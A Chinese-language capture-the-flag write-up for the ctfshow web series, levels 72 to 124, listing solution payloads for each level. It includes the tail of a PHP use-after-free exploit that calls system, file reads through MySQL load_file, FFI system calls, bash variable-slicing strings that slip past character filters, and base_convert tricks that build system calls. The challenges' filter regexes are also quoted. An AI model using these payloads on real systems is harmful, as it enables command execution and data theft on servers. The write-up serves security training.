ak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E
得到flag
ctfshow{a76165f0-67a6-4bda-9b29-af52df2c6b2d}
web73
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
flag在flagc.txt,可以include包含
c=include('/flagc.txt');exit();
得到flag
ctfshow{701e4dae-d3f1-4984-b44a-e0284fdd82e4}
web74
flag在/flagx.txt
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
scandir()被禁用,用DirectoryIterator类
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();
c=$a=new DirectoryIterator("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();
直接包含c=include('/flagx.txt');exit();
得到flag
ctfshow{9c94a50b-9641-418e-9085-8f5b05dffff9}
web75
payload
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
得到flag
ctfshow{b83c3632-c368-4c09-8a5f-150f092ef94a}
web76
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
即可得到flag
web77
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
然后访问1.txt
即可得到flag
web118
为两个payload
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
这个题的具体含义为利用~获取变量的最后几位,如
~0获取最后一位
~1获取最后两位
~[a-z]/[A-Z]获取最后一位,等同数字0
在这要配合$PWD,$PATH
$PWD——echo $PWD会输出当前目录名
一般$PATH是以bin结尾,所以${PATH:-A}为n
在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l
查看页面源代码
得到flag
ctfshow{a10d48a9-5835-4950-b92e-828b8c076dbb}
web119
可以看到提示了命令执行system($code)
经过测试只能用大写字母
和${}:?.~
还禁用了${PATH}
所以我们没有办法构造nl中的nl了,所以换一种思路构造/bin/cat
而要进行匹配至少需要一个/
和cat
中的一个字母
这里使用${shlvl}
进行构造/
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。${PWD:${#}:${SHLVL}}
就会输出/
一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
最终的payload为${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
其实也可以更精简的构造,只取a进行构造
payload为${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
得到flag
ctfshow{9d327c67-4cad-43e2-8904-7ffa51a2d9e3}
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
相当于上两题把源码给了
payload同上
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
查看页面源代码
得到flag
ctfshow{14370b94-74c3-4249-87e3-300f1ef31f55}
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
只剩下${PWD}了
payload
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/???/r?? ????.???
/bin/rev
${?}=0,${#?}=1
($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误)
${#IFS}=3
得到flag
web122
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这题在上题的基础上又过滤了#
和PWD
,PWD的绕过很简单,用HOME就可以,而#,就要用到$?
了
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以在使用$?
之前要先给错误的命令 让$?
的值为1${}
和 <A
可以但是题目上${}
这个不可以
所以用<A
后边的数字4还是用RANDOM
随机数来获取
payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
web124
在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GET[a]($_GET[b])&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。
echo base_convert('hex2bin', 36, 10);
结果 37907361743
echo hexdec(bin2hex("_GET"));
结果 1598506324
现在我们要做的就是反过来了
base_convert('37907361743',10,36); hex2bin
base_convert('37907361743',10,36)(dechex('1598506324')); _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
我们再把_GET进行替换
payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
得到flag
ctfshow{88c519e4-8b73-4b59-89c2-ca6800346b69}